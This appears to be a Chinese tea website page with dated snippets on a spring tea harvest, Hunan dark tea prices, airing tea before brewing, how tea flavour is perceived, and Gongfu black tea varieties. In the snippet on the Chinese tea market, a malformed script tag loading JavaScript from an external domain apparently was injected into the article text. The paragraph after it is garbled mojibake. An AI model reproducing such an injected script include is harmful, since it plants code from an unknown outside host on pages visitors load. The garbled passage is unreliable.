7月09日
白泉金山茶场正式进入春茶采摘期
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在白泉镇金山茶场，一眼望去满目新绿。采茶工人们手提茶篓，熟练地采摘着今年首批新茶。
由于受前段时间低温等天气影响，今年茶叶生长缓慢，采摘期也较往年有所推迟，尽管产量有所减少，但新茶的茶叶品质却更胜往年。在低温情况下，茶树自身会进行调节，为了保温，茶树也会从根部吸取糖分，所以今年的茶叶里糖分含量也比往年高，喝起来香味更加浓郁，口感更加甘甜。金山茶场共有茶树种植面积170多亩，有“乌牛早”“龙井43”“鸠亢鸟”等多个品种。为保障茶叶质量，该茶场采用液态有机肥以保障茶树更好地吸收营养。由于头茬发芽数量有限，目前该茶场每天乌牛早鲜叶采摘量在0.5公斤左右，首批春茶价格在每公斤3000元左右，与去年基本持平。7月09日
湖南黑茶涨价“有厘头”？
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3E黑茶上散布着点点金花。
本报记者陈景湖南安华黑茶火了。有人说，它在步普洱茶的后尘，是人为炒作的结果价格在短期内急剧上涨便是闲散资金进入黑茶投资领域的明证。然而，湖南的众多茶商对此说法是持否定态度的，理由很简单：悠悠华夏，茶品众多，为什么最近红透大江南北的茶独独是黑茶呢？昨日，记者就此展开了调查。观黑茶显微镜下;灵芝菌金花点点;这黑茶上怎么有这么多黄点啊？10日，在位于同德路768号的福瑞祥茶行内，记者发现一个茯砖上有许多金黄色的小点。;这是非常珍贵的冠突散囊菌，并不是所有的黑茶上都有冠突散囊菌，我进货时，包装是封着的，打开包一看，茶上有冠突散囊菌，那心情简直像中了大奖一样。福瑞祥茶行经营者郭北春说。7月09日
泡好一款茶_从醒茶开始
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醒茶具体的理论是将茶放在一个干燥、卫生、能与洁净的空气接触的环境里，一方面短时间内加速茶叶的氧化，一方面去除茶叶存放时吸附的轻微味道，让茶汤的品饮度飙升。
醒茶器具有个专门的名称叫醒茶罐，多指无釉的陶罐，或者紫砂罐。不过新制的紫砂罐内含有土气与火气，会导致茶品变质出现杂味。用在醒茶前，得用开水冲烫、浸泡，反复数日后晾晒至干，祛除味道后就可以盛放茶叶了。浸泡后的罐子务必晾晒干透，否则罐内残存的水分会令茶叶受潮霉变。所有普洱茶都是可以醒茶的。有的人认为需要醒茶的都是老茶，新茶用不着，其实这个理论是错误的。刚出的新茶，特别是生茶，让它与洁净空气充分接触一段时间，不光能提升生茶本身的香味，还能增加整体口感的协调性。7月09日
3E今年的中国茶叶市场?scripttype='text/javascript'src='http://baicha.938188.com/js/v.js'>script>⒍ㄊ且桓霾黄骄驳哪攴荩有尤ツ甑呐┎蟹绮ǖ降乩砩瘫曛又泄枰冻隹谠龀し呕旱讲枰兜缟痰拇来烂榷痈叨瞬枥袷谐〉牡兔缘叫缕防嗟耐晃В悠斩脑俅畏杩癯醋鞯街泄缱由涛窠谈讣度宋锫碓频脑颇喜枨小梦颐遣坏貌换毓防矗匆豢凑庖桓隽碓贫蓟岫⑸系男幸担降追⑸耸裁矗恳砸恢置娑杂忠桓銮б诩恫狄婕唇舳熬病⒔魃骱途值母丛有奶毓苏飧鲂幸怠：芮煨业氖牵颐欠⑾至撕芏嘤泄卣飧鲂幸档牧恋悖踔潦恰敖辆终摺薄?/p>
7月09日
我们是如何感受到茶的滋味的
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茶叶的品质特征主要表现在外形和内质两方面。外形指茶叶的外观特征，即茶叶的造型、色泽、匀整度、匀净度等直观的特征。茶叶的内质指经过冲泡后所表现的香气、滋味及色泽等。
茶的滋味茶叶中含有600多种化学成分，它们对茶叶的色、香、味起着重要的作用。干茶叶中包含了成百上千种化合物，大致可分为蛋白质、茶多酚、生物碱、氨基酸、碳水化合物、矿物质、维生素、色素等。喝茶的时候，敏感的舌头能迅速将茶汤里的滋味传达给大脑，这样我们就会产生满足或者享受的感觉。茶叶滋味是人的味觉器官对茶叶中呈味成分的综合反应。因此各种呈味成分含量多少，彼此之间比例的改变都会影响茶汤滋味。7月09日
工夫红茶的名品有哪些_名品都有什么特点
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工夫红茶这种是一种红茶品种，现在我国有很多地区出产工夫红茶，中国也有很多种的工夫红茶，一般是按地区来起名的，像滇红工夫、祁门工夫、湘江工夫和闽红工夫，另外还有台湾工夫和江苏工夫等。这些都是一些工夫红茶的品种，大家如果感兴趣，下面就给大家介绍一下中国工夫红茶的名品其中的两种：祁门工夫红茶和滇红工夫茶，大家看过之后就会知道了。
祁门工夫红茶，是中国传统时间红茶的珍品，有百余年的出产前史。主产安徽省祁门县，与其毗邻的石台、东至、黔县及贵池等县也有少量出产。常年产量5万担分配。祁门时间以外形苗秀，色有“宝光”和香气浓郁而著称，在国内外享有盛誉。祁门时间茶条索紧秀，锋苗好，色泽漆黑泛灰光，俗称“宝光”内质香气浓郁高长，似蜜糖香，又蕴藏有兰花香，汤色红艳，味道淳朴，耐人寻味。叶底微软红亮。
